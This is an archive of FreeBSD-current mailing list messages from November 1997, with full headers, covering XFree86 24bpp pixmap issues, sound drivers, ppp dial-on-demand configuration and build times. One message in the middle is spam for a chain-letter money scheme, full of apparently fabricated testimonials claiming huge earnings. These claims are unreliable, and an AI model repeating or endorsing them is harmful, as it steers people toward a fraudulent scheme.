hackers, or current, you should be capable of building the exploit yourself, and trying it. > Niall Tom From owner-freebsd-current Tue Nov 18 17:48:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA14266 for current-outgoing; Tue, 18 Nov 1997 17:48:16 -0800 (PST) (envelope-from owner-freebsd-current) Received: from abby.skypoint.net (abby.skypoint.net [199.86.32.252]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA14261 for ; Tue, 18 Nov 1997 17:48:11 -0800 (PST) (envelope-from bruce@zuhause.mn.org) Received: (from uucp@localhost) by abby.skypoint.net (8.8.7/jl 1.3) with UUCP id TAA28420; Tue, 18 Nov 1997 19:47:54 -0600 (CST) Received: (from bruce@localhost) by zuhause.mn.org (8.8.7/8.8.7) id TAA10035; Tue, 18 Nov 1997 19:47:07 -0600 (CST) Date: Tue, 18 Nov 1997 19:47:07 -0600 (CST) Message-Id: <199711190147.TAA10035@zuhause.mn.org> From: Bruce Albrecht To: Mostyn/Annabella Cc: freebsd-current@freebsd.org Subject: Re: Acrobat problems? In-Reply-To: <199711181756.JAA05389@user2.teleport.com> References: <199711170737.BAA03677@zuhause.mn.org> <199711181756.JAA05389@user2.teleport.com> X-Mailer: VM 6.34 under 19.16 "New York" XEmacs Lucid Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Mostyn/Annabella writes: > > > > Is anyone else having problems running Acrobat 3.0 or 3.01 (Linux) on > > -current? When I run 3.0, Acrobat tells me that it's trapped a > > segfault on every pdf file I try, and 3.01 doesn't segfault, but the > > display is all messed up. I'm running SMP from around 10/27 ......... > > I noticed the same thing on 2.2.5-STABLE a few days old. > > With a matrox millenium (MGA - SVGA server) and XFree86 3.3.1 and > a bits per pixel depth of 24 (startx -- -bpp 24) the acrobat display > is messed up with predominantly blue letters; but with pixel depths > of 16 and 32, it's OK. Changing the pixel depth to 16 solved my problem. I'm not sure why, but I can't get 1280x1024 with bpp 32 on my 4MB Matrox Millenium and 17" Hitachi 611 monitor. From owner-freebsd-current Tue Nov 18 18:44:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA18422 for current-outgoing; Tue, 18 Nov 1997 18:44:15 -0800 (PST) (envelope-from owner-freebsd-current) Received: from jkh.cdrom.com (root@ppp-80.toiyabe.com [207.92.38.80]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA18415 for ; Tue, 18 Nov 1997 18:44:11 -0800 (PST) (envelope-from jkh@jkh.cdrom.com) Received: from jkh.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by jkh.cdrom.com (8.8.8/8.8.5) with ESMTP id XAA08654; Mon, 17 Nov 1997 23:32:12 -0800 (PST) To: Adam McDougall cc: current@FreeBSD.ORG Subject: Re: teardrop In-reply-to: Your message of "Mon, 17 Nov 1997 20:51:51 EST." <3470F4B7.2AC390D0@ameritech.net> Date: Mon, 17 Nov 1997 23:32:12 -0800 Message-ID: <8650.879838332@jkh.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Has this new kind of nuke been addressed, and can it be/has it been > fixed? I just cvsupped sunday, is mine fixed? thanks. But we never suffered from it. From owner-freebsd-current Tue Nov 18 19:13:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA20228 for current-outgoing; Tue, 18 Nov 1997 19:13:06 -0800 (PST) (envelope-from owner-freebsd-current) Received: from logues.rhn.orst.edu (logues.RHN.ORST.EDU [128.193.137.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA20221 for ; Tue, 18 Nov 1997 19:13:03 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Received: from localhost (logue@localhost) by logues.rhn.orst.edu (8.8.8/8.8.8) with SMTP id TAA04303; Tue, 18 Nov 1997 19:12:06 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Date: Tue, 18 Nov 1997 19:12:06 -0800 (PST) From: logue To: Bruce Albrecht cc: Mostyn/Annabella , freebsd-current@FreeBSD.ORG Subject: Re: Acrobat problems? In-Reply-To: <199711190147.TAA10035@zuhause.mn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 18 Nov 1997, Bruce Albrecht wrote: > Mostyn/Annabella writes: > > > > > > Is anyone else having problems running Acrobat 3.0 or 3.01 (Linux) on > > > -current? When I run 3.0, Acrobat tells me that it's trapped a > > > segfault on every pdf file I try, and 3.01 doesn't segfault, but the > > > display is all messed up. I'm running SMP from around 10/27 ......... > > > > I noticed the same thing on 2.2.5-STABLE a few days old. > > > > With a matrox millenium (MGA - SVGA server) and XFree86 3.3.1 and > > a bits per pixel depth of 24 (startx -- -bpp 24) the acrobat display > > is messed up with predominantly blue letters; but with pixel depths > > of 16 and 32, it's OK. > > Changing the pixel depth to 16 solved my problem. I'm not sure why, > but I can't get 1280x1024 with bpp 32 on my 4MB Matrox Millenium and > 17" Hitachi 611 monitor. > 1280x1024x32 would require 5 megs of video memory. However to operate at this, and still have room for other video buffers/caches, you need at least another meg for 6 total. Since these are oddball amounts - an 8 meg card would be the only realistic host for these specs. -STEVEl From owner-freebsd-current Wed Nov 19 06:09:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA17950 for current-outgoing; Wed, 19 Nov 1997 06:09:50 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rf900.physics.usyd.edu.au (rf900.physics.usyd.edu.au [129.78.129.109]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA17943 for ; Wed, 19 Nov 1997 06:09:44 -0800 (PST) (envelope-from dawes@rf900.physics.usyd.edu.au) Received: (from dawes@localhost) by rf900.physics.usyd.edu.au (8.8.5/8.8.2) id BAA18674; Thu, 20 Nov 1997 01:09:35 +1100 (EST) Message-ID: <19971120010935.32146@rf900.physics.usyd.edu.au> Date: Thu, 20 Nov 1997 01:09:35 +1100 From: David Dawes To: freebsd-current@FreeBSD.ORG Subject: Re: Acrobat problems? References: <199711170737.BAA03677@zuhause.mn.org> <199711181756.JAA05389@user2.teleport.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <199711181756.JAA05389@user2.teleport.com>; from Mostyn/Annabella on Tue, Nov 18, 1997 at 09:56:43AM -0800 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, Nov 18, 1997 at 09:56:43AM -0800, Mostyn/Annabella wrote: >> >> Is anyone else having problems running Acrobat 3.0 or 3.01 (Linux) on >> -current? When I run 3.0, Acrobat tells me that it's trapped a >> segfault on every pdf file I try, and 3.01 doesn't segfault, but the >> display is all messed up. I'm running SMP from around 10/27 ......... > >I noticed the same thing on 2.2.5-STABLE a few days old. > >With a matrox millenium (MGA - SVGA server) and XFree86 3.3.1 and >a bits per pixel depth of 24 (startx -- -bpp 24) the acrobat display >is messed up with predominantly blue letters; but with pixel depths >of 16 and 32, it's OK. > >Using the Xinside (Xig) X server and 24 bit pixel depth it's OK. > >This is with 3.01 Acrobat (3.00 segfaulted as you saw). > >Mostyn > >P.S. Another X thing - netscape 4.04 will get a SEGV if running > XFree86 3.3.1 24 bpp after restoring the stack on sigreturn > because of a SIGALRM while having just read the awt/MToolKit > class, and ... > > The Xig server sails through it? (This at http://www.onsale.com > when it starts the first Java applet). The current 24bpp implementation in XFree86 is quite different from most others in that it uses a depth 24 pixmap format with bits-per-pixel also 24 (most others -- including Xig's X server -- have bits-per-pixel 32 for their depth 24 pixmap format). Checking the output of xdpyinfo will confirm this (under supported pixmap formats): depth 24, bits_per_pixel 24, scanline_pad 32 (XFree86) vs: depth 24, bits_per_pixel 32, scanline_pad 32 (others) These are both for packed 24bpp framebuffer. The pixmap format does not need to be identical the the framebuffer format. Doing what the XFree86 servers currently do in this regard is quite valid from an X11 point of view, but many clients cannot cope with it. While 24bpp in the XFree86 server is likely to have more bugs than other depths (it is much newer code), many of the observed problems are actually related to the client's lack of (or buggy) support for the pixmap format used. Future releases of XFree86 are likely to use the latter format, or at least provide it as an option. David From owner-freebsd-current Wed Nov 19 06:20:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA18447 for current-outgoing; Wed, 19 Nov 1997 06:20:18 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sv10.batelco.com.bh (batelco.com.bh [193.188.97.227]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA18386 for ; Wed, 19 Nov 1997 06:19:31 -0800 (PST) (envelope-from user@forwarding.com) From: user@forwarding.com Message-Id: <199711191419.GAA18386@hub.freebsd.org> Received: from user900.meznet4.net ([193.188.98.176]) by sv10.batelco.com.bh (post.office MTA v1.9.3b ID# 0-13092) with SMTP id ABA5589; Wed, 19 Nov 1997 13:33:55 +0300 To: cumeater@eighteen.net Subject: How to be rich in a short period!! *! Reply-To: user@forwarding.com Date: Fri, 8 Sep 97 14:24:52 EST Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Filterd Via The Remove List At http://www.antispam.org *** Important Message - Sent Using The Zenith Bulk Emailer *** For Your FREE Copy Of This Program - http://www.ultra-mail.com/zenithSubj.: How to be rich in a short period!!! I Never Thought I'd Be the One Telling You This: I Actually Read a Piece of E-Mail & I'm Going to Europe on the Proceeds! Hello! My name is Karen Liddell; I'm a 35-year-old mom, wife, and part-time accountant. As a rule, I delete all unsolicited "junk" e-mail and use my account primarily for business. I received what I assumed was this same e-mail countless times and deleted it each time. About two months ago I received it again and, because of the catchy subject line, I finally read it. Afterwards, I thought , "OK, I give in, I'm going to try this. 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It really is a great opportunity to make relatively easy money, with little cost to you. If you do choose to participate, follow the program exactly, and you'll be on your way to financial security. Sean McLaughlin, Jackson, MS My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am a cost accountant with a major U.S. Corporation and I make pretty good money. When I received the program I grumbled to Doris about receiving "junk mail." I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I "knew" it wouldn't work. Doris totally ignored my supposed intelligence and jumped in with both feet. I made merciless fun of her, and was ready to lay the old "I told you so" on her when the thing didn't work... well, the laugh was on me! Within two weeks she had received over 50 responses. Within 45 days she had received over $147,200 in $5 bills! I was shocked! I was sure that I had it all figured and that it wouldn't work. I AM a believer now. I have joined Doris in her "hobby." I did have seven more years until retirement, but I think of the "rat race" and it's not for me. We owe it all to MLM. Frank T., Bel-Air, MD I just want to pass along my best wishes and encouragement to you. Any doubts you have will vanish when your first orders come in. I even checked with the U.S. Post Office to verify that the plan was legal. It definitely is! IT WORKS!!! Paul Johnson, Raleigh, NC The main reason for this letter is to convince you that this system is honest, lawful, extremely profitable, and is a way to get a large amount of money in a short time. I was approached several times before I checked this out. I joined just to see what one could expect in return for the minimal effort and money required. To my astonishment, I received $36,470.00 in the first 14 weeks, with money still coming in. Sincerely yours, Phillip A. Brown, Esq. Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative that I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back. Boy, was I surprised when I found my medium-size post office box crammed with orders! For awhile, it got so overloaded that I had to start picking up my mail at the window. I'll make more money this year than any 10 years of my life before. The nice thing about this deal is that it doesn't matter where in the U.S. the people live. There simply isn't a better investment with a faster return. Mary Rockland, Lansing, MI This is my third time to participate in this plan. We have quit our jobs, and will soon buy a home on the beach and live off the interest on our money. The only way on earth that this plan will work for you is if you do it. For your sake, and for your family's sake don't pass up this golden opportunity. Good luck and happy spending! Charles Fairchild, Spokane, WA ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR ROAD TO FINANCIAL FREEDOM!!! From owner-freebsd-current Wed Nov 19 07:34:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA22830 for current-outgoing; Wed, 19 Nov 1997 07:34:13 -0800 (PST) (envelope-from owner-freebsd-current) Received: from korin.warman.org.pl (korin.nask.waw.pl [148.81.160.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA22812 for ; Wed, 19 Nov 1997 07:34:04 -0800 (PST) (envelope-from abial@korin.warman.org.pl) Received: from localhost (abial@localhost) by korin.warman.org.pl (8.8.8/8.8.5) with SMTP id QAA16227 for ; Wed, 19 Nov 1997 16:36:20 +0100 (CET) Date: Wed, 19 Nov 1997 16:36:20 +0100 (CET) From: Andrzej Bialecki To: freebsd-current@freebsd.org Subject: /usr/ports/lang/kaffe doesn't work? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi! It pertains to kaffe-0.9.1 made and installed with accompanying packages via port. It seems that I did everything along the instructions, but it doesn't run the Java code. I did 'make && make install', then set the environmental vars according to those in /usr/local/share/kaffe/ENVIRONMENT. With no arguments (i.e. no class to run) it appears to work, namely prints it help screen. But as soon as I try to execute my class, kaffe starts eating all of the memory, then all of the swap, and then dies with SIGILL. Any ideas what's wrong? Andrzej Bialecki ---------------------+--------------------------------------------------------- abial@warman.org.pl | if(halt_per_mth > 0) { fetch("http://www.freebsd.org") } Research & Academic | "Be open-minded, but don't let your brains to fall out." Network in Poland | All of the above (and more) is just my personal opinion. ---------------------+--------------------------------------------------------- From owner-freebsd-current Wed Nov 19 09:12:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA00990 for current-outgoing; Wed, 19 Nov 1997 09:12:28 -0800 (PST) (envelope-from owner-freebsd-current) Received: from itesec.hsc.fr (root@itesec.hsc.fr [192.70.106.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA00851 for ; Wed, 19 Nov 1997 09:12:01 -0800 (PST) (envelope-from pb@hsc.fr) Received: from mars.hsc.fr (pb@mars.hsc.fr [192.70.106.44]) by itesec.hsc.fr (8.8.8/8.8.5/itesec-1.10-nospam) with ESMTP id SAA02667 for ; Wed, 19 Nov 1997 18:11:40 +0100 (MET) Received: (from pb@localhost) by mars.hsc.fr (8.8.5/8.8.5/pb-19970301) id SAA04658; Wed, 19 Nov 1997 18:11:39 +0100 (MET) Message-ID: <19971119181139.DR06397@mars.hsc.fr> Date: Wed, 19 Nov 1997 18:11:39 +0100 From: pb@fasterix.frmug.org (Pierre Beyssac) To: freebsd-current@freebsd.org Subject: the sound driver and the OPTi931 chip X-Mailer: Mutt 0.59.1e Mime-Version: 1.0 Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Has anyone on the list managed to use the -current sound driver with an OPTi931-based ISA PnP card named ExpertColor (that's the name of the maker, not the card :-) ? It can be configured to either be Sound Blaster or Windows Sound System compatible. It also contains (or rather, emulates) a MPU-401 MIDI chip and a Yamaha OPL-3. It runs fine under DOS and Windows, in either mode. >From comments in isa/sound/ad1848.c it looks like the chip is supported by the sound drivers. But FreeBSD only recognizes the MPU and the OPL3 when booting, never the MSS or SB part. I tried everyting: with and without PnP init from the BIOS, with and without previous booting under Windoze or DOS. I also tried the pnp config to change the ports of the various logical devices gathered from pnpinfo, to no avail. It is the only PnP card in my system so it's not a weird PnP conflict. It might be that the card is looking for some special init flags to determine with which standard (mss or sb) it should be compatible. Is there any way to find these, other than by disassembling the DOS driver (I began this, but I only have DOS debug to work with...)? Or maybe there's just some stupid thing I forgot to configure. Sorry I can't post my kernel config right there, I don't have my machine handy at the moment. It basically includes the following drivers, if I remember well. In a word, everything that seemed relevant: snd0 mss0 sb0 [ one of the others sb drivers, sbxvi I believe ] opl0 mpu0 The sb driver issues a warning that sb_reset failed. The mss driver says that the card wasn't found (from a few printfs I activated in the ad1848 driver, it looks like it only reads FFs from the IO ports the card is configured for). -- Pierre Beyssac pb@fasterix.frmug.org pb@fasterix.freenix.org {Free,Net,Open}BSD, Linux : il y a moins bien, mais c'est plus cher Free domains: http://www.eu.org/ or mail dns-manager@EU.org From owner-freebsd-current Wed Nov 19 10:02:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA05563 for current-outgoing; Wed, 19 Nov 1997 10:02:51 -0800 (PST) (envelope-from owner-freebsd-current) Received: from itesec.hsc.fr (root@itesec.hsc.fr [192.70.106.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA05555 for ; Wed, 19 Nov 1997 10:02:43 -0800 (PST) (envelope-from pb@hsc.fr) Received: from mars.hsc.fr (pb@mars.hsc.fr [192.70.106.44]) by itesec.hsc.fr (8.8.8/8.8.5/itesec-1.10-nospam) with ESMTP id TAA03457; Wed, 19 Nov 1997 19:02:32 +0100 (MET) Received: (from pb@localhost) by mars.hsc.fr (8.8.5/8.8.5/pb-19970301) id TAA04902; Wed, 19 Nov 1997 19:02:31 +0100 (MET) Message-ID: <19971119190230.YE53218@mars.hsc.fr> Date: Wed, 19 Nov 1997 19:02:30 +0100 From: Pierre.Beyssac@hsc.fr (Pierre Beyssac) To: dawes@rf900.physics.usyd.edu.au (David Dawes) Cc: freebsd-current@FreeBSD.ORG Subject: Re: Acrobat problems? References: <199711170737.BAA03677@zuhause.mn.org> <199711181756.JAA05389@user2.teleport.com> <19971120010935.32146@rf900.physics.usyd.edu.au> X-Mailer: Mutt 0.59.1e Mime-Version: 1.0 In-Reply-To: <19971120010935.32146@rf900.physics.usyd.edu.au>; from David Dawes on Nov 20, 1997 01:09:35 +1100 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to David Dawes: > The current 24bpp implementation in XFree86 is quite different from most > others in that it uses a depth 24 pixmap format with bits-per-pixel also > 24 (most others -- including Xig's X server -- have bits-per-pixel 32 > for their depth 24 pixmap format). Checking the output of xdpyinfo will I recently had similar problems when playing with shared pixmaps and gathered a few xdpyinfos from friends, and consistently got 32 bits-per-pixel on 24 bits depths with XFree (they all got Matrox cards however I believe, so take this with a grain of salt) : vendor string: The XFree86 Project, Inc vendor release number: 3310 supported pixmap formats: depth 1, bits_per_pixel 1, scanline_pad 32 depth 24, bits_per_pixel 32, scanline_pad 32 This one was under FreeBSD, I got others under Linux with the same results. I don't know much about XFree internals, maybe it might depend on differences between the S3 server and others? > Doing what the XFree86 servers currently do in this regard is quite > valid from an X11 point of view, but many clients cannot cope with it. I agree. Many clients were written when 8 bits or monochrome displays were the norm and were never tested on 16, 24 or 32 bits displays. The more general implementation of this stuff I have seen so far is the libxpm. -- Pierre.Beyssac@hsc.fr From owner-freebsd-current Wed Nov 19 10:03:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA05637 for current-outgoing; Wed, 19 Nov 1997 10:03:31 -0800 (PST) (envelope-from owner-freebsd-current) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA05579 for ; Wed, 19 Nov 1997 10:02:54 -0800 (PST) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id RAA23208; Wed, 19 Nov 1997 17:52:37 +0100 From: Luigi Rizzo Message-Id: <199711191652.RAA23208@labinfo.iet.unipi.it> Subject: Re: the sound driver and the OPTi931 chip To: pb@fasterix.frmug.org (Pierre Beyssac) Date: Wed, 19 Nov 1997 17:52:37 +0100 (MET) Cc: freebsd-current@FreeBSD.ORG In-Reply-To: <19971119181139.DR06397@mars.hsc.fr> from "Pierre Beyssac" at Nov 19, 97 06:11:20 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Has anyone on the list managed to use the -current sound driver > with an OPTi931-based ISA PnP card named ExpertColor (that's the > name of the maker, not the card :-) ? which one of the -current driver ? My "new" driver (device pcm0 ...) works perfectly with this card. I used it for development. The card itself has a bug in that ulaw does not work natively, and the driver emulates it using unsigned 8-bit. > >From comments in isa/sound/ad1848.c it looks like the chip is supported > by the sound drivers. But FreeBSD only recognizes the MPU and the OPL3 it isn't supported by voxware 3.0 or 3.5. The opti931 needs special initialization code which is present in my driver and has been introduced only recently in OSS (the commercial driver). Luigi -----------------------------+-------------------------------------- Luigi Rizzo | Dip. di Ingegneria dell'Informazione email: luigi@iet.unipi.it | Universita' di Pisa tel: +39-50-568533 | via Diotisalvi 2, 56126 PISA (Italy) fax: +39-50-568522 | http://www.iet.unipi.it/~luigi/ _____________________________|______________________________________ From owner-freebsd-current Wed Nov 19 10:34:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA09084 for current-outgoing; Wed, 19 Nov 1997 10:34:42 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ns.computer.net (root@ns.computer.net [207.50.192.4]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA09077 for ; Wed, 19 Nov 1997 10:34:39 -0800 (PST) (envelope-from jcondon@computer.net) Received: from computer.net (pville-int-term3.computer.net [207.50.192.152]) by ns.computer.net (8.8.8/8.8.5) with ESMTP id NAA12886 for ; Wed, 19 Nov 1997 13:35:16 -0500 (EST) Message-ID: <3473310C.EEF454E2@computer.net> Date: Wed, 19 Nov 1997 13:33:48 -0500 From: jcondon X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: "freebsd-current@FreeBSD.ORG" Subject: ppp pmdemand dials when I dont want it to Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Been wrestling with this for about a week. Started running 2.2.2 and did a fresh reinstall to 2.2.5. All seems to work fine except it dials and apperently does DNS lookups for apperently no reason. I have removed the -q option on Sendmail, and disabled Sendmail altogether. When I unplug the ethernet cable from the Win95 machine, or dialup via its own modem / DUN it doesn't cause the UNIX box to dial in. However when the Win95 is plugged into the ethernet and running nothing more then explorer and systay it will dial in with in 15 mins usually sooner. I did notice that if I dial in with the Win95 box and do NOTHING it sends about 250 bytes a min and receives about 15K. Could this have something to do with it? Also at 2am it runs whatever events are installed be default and this too (without win95 box on ethernet cable) cause the Unix box to dial in. The network is setup as flows. 10.0.0.1 Freebsd machine called quake.computer.net 10.0.0.2 Win95 machine called pent200.computer.net 10.0.0.3 Win95 machine not yet on the network 207.50.192.4 Primary DNS at my ISP 207.50.194.7 Secondary DNS at my ISP 207.50.192.1 Gateway (not in ANY of my configs is this part of the problem?) My dialup account dynamically assigns ip can get static if needed. Windows 95 side... Under network tcp/ip properties for the NIC. Assigned ip 10.0.0.2 gateway 10.0.0.1 dns primary 207.50.192.4 dns secondary 207.50.194.7 host pent200 domain computer.net domainsuffix computer.net I also have dialup adapter and tcp/ip for that. Server assigned ip Here is part of the /etc/ppp.log file where it dials in doing nameserver lookups (near as I can tell). Nov 19 03:46:27 quake ppp[180]: tun0: TCP/IP: OUT UDP: 10.0.0.2:137 ---> 207.50.192.4:53 Nov 19 03:46:27 quake ppp[180]: tun0: Chat: Dial attempt 1 of 1 Nov 19 03:46:27 quake ppp[180]: tun0: Chat: Expecting Nov 19 03:46:27 quake ppp[180]: tun0: Chat: sending: ATE1Q0^M Nov 19 03:46:27 quake ppp[180]: tun0: Chat: Expecting OK-AT-OK Nov 19 03:46:27 quake ppp[180]: tun0: Chat: Wait for (5): OK --> OK Nov 19 03:46:27 quake ppp[180]: tun0: Connect: ATE1Q0^M^M Nov 19 03:46:27 quake ppp[180]: tun0: Connect: OK Here is my current /etc/ppp/ppp.conf file (comments removed to save space) default: set device /dev/cuaa1 set speed 115200 set log Phase Chat Connect Carrier LCP IPCP CCP TCP/IP tun deny lqr set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATE1Q0 OK-AT-OK \\dATDT\\T TIMEOUT 60 CONNECT" pmdemand: set phone 555-1212 set login "TIMEOUT 5 ogin: username word: password" Here is my current /etc/rc.conf (again comments removed) swapfile="NO" # Set to name of swapfile if aux swapfile desired. apm_enable="NO" # Set to YES if you want APM enabled. pccard_enable="NO" # Set to YES if you want to configure PCCARD devices. pccard_mem="DEFAULT" # If pccard_enable=YES, this is card memory address. pccard_ifconfig="NO" # Specialized pccard ethernet configuration (or NO). local_startup="/usr/local/etc/rc.d /usr/X11R6/etc/rc.d" # startup script dirs. ### Basic network options: ### hostname="quake.computer.net" # Set this! nisdomainname="NO" # Set to NIS domain if using NIS (or NO). firewall_enable="NO" # Set to YES to enable firewall functionality firewall_type="UNKNOWN" # Firewall type (see /etc/rc.firewall) firewall_quiet="NO" # Set to YES to suppress rule display tcp_extensions="YES" # Allow RFC1323 & RFC1644 extensions (or NO). network_interfaces="ed1 lo0 tn0" # List of network interfaces (lo0 is loopback). ifconfig_ed1="inet 10.0.0.1 netmask 255.255.255.0" ifconfig_lo0="inet 127.0.0.1" # default loopback device configuration. ifconfig_tun0= ### Network daemon (miscellaneous) & NFS options: ### syslogd_enable="YES" # Run syslog daemon (or NO). syslogd_flags="" # Flags to syslogd (if enabled). inetd_enable="YES" # Run the network daemon displatcher (or NO). inetd_flags="" # Optional flags to inetd. named_enable="NO" # Run named, the DNS server (or NO). named_flags="-b /etc/namedb/named.boot" # Flags to named (if enabled). Here is my current /etc/ppp/ppp.linkup (comments removed) 10.0.0.1: add 10.0.0.0 0 HISADDR iij-demand: delete ALL add 0 0 HISADDR MYADDR: delete 0 add 0 0 HISADDR pmdemand: delete ALL add 0 0 HISADDR add MYADDR 255.255.255.255 127.0.0.1 # !bg /etc/ppp/ppp.etherup.pmdemand Is this problem something funky with my WIN95 Dun? (Running ISDN patched DUN) Or is something wrong with my Unix setup? Thanks for any insight you could provide. Jim Condon From owner-freebsd-current Wed Nov 19 10:42:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA09745 for current-outgoing; Wed, 19 Nov 1997 10:42:43 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA09722 for ; Wed, 19 Nov 1997 10:42:31 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id KAA01635; Wed, 19 Nov 1997 10:40:39 -0800 (PST) Message-Id: <199711191840.KAA01635@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Eivind Eklund cc: shimon@simon-shapiro.org, toor@dyson.iquest.net, sprice@hiwaay.net, smp@csn.net, current@FreeBSD.ORG, Shimon@i-connect.net Subject: Re: make world time???/ In-reply-to: Your message of "Tue, 18 Nov 1997 14:48:15 +0100." <199711181348.OAA10979@bitbox.follo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 19 Nov 1997 10:40:38 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, I wish we could do sub-minute compiles 8) make world started on Tue Nov 18 22:31:50 PST 1997 make world completed on Tue Nov 18 23:44:02 PST 1997 So it takes about 75 minutes to do a make world over here and again 8) I have a Pentium Pro 200Mhz , 48MB , 4.3 Seagate Cheetah (10000 rpms). mount -u -o async,noatime /usr cd /usr/src make clean #if you already have a clean obj or no /usr/obj populated #there is no need to do this step. make world >build.log /etc/make.conf modified flags: NOCLEAN=true CFLAGS= -O -pipe kernel config file special flags : options AHC_TAGENABLE options AHC_SCBPAGING_ENABLE options AHC_ALLOW_MEMIO Without the above your world build time will probably be double if you are doing your system build on your scsi disk drives. I suspect that mounting a /usr/obj on a fast scsi or IDE drive is not going to lower my performance figures. We need to experiment to find out whats going on fast system builds. Cheers, Amancio > > > > > > On 17-Nov-97 Eivind Eklund wrote: > > >> > > >> > > >> Hi Amancio Hasty; On 17-Nov-97 you wrote: > > >> > Hmm... > > >> > > > >> > I do a make world in about 75 minutes -- I just didn't do > > >> > profiled > > >> > libraries. > > >> > > >> Correct me if I am wrong, but the pupose here is not to finish make > > >> world > > >> in short time. I have seen sub-minute before :-) > > > > > > A 'make world' including what? > > > > Everything, but you start with empty /usr/obj. > > What kind of hardware are you running this at? What setup WRT async, > noatime, MFS, etc? We want details! *grin* > > I just find sub-minute compiles of >100MB of source quite > astonishing. > > Eivind. From owner-freebsd-current Wed Nov 19 11:34:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA15628 for current-outgoing; Wed, 19 Nov 1997 11:34:55 -0800 (PST) (envelope-from owner-freebsd-current) Received: from lamb.sas.com (root@lamb.sas.com [192.35.83.8]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA15603 for ; Wed, 19 Nov 1997 11:34:46 -0800 (PST) (envelope-from jwd@unx.sas.com) Received: from mozart (markham.southpeak.com [192.35.83.31]) by lamb.sas.com (8.8.7/8.8.7) with SMTP id OAA05624 for ; Wed, 19 Nov 1997 14:33:58 -0500 (EST) Received: from iluvatar.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90) id AA12733; Wed, 19 Nov 1997 14:33:56 -0500 From: "John W. DeBoskey" Received: by iluvatar.unx.sas.com (5.65c/SAS/Generic 9.01/3-26-93) id AA07948; Wed, 19 Nov 1997 14:33:56 -0500 Message-Id: 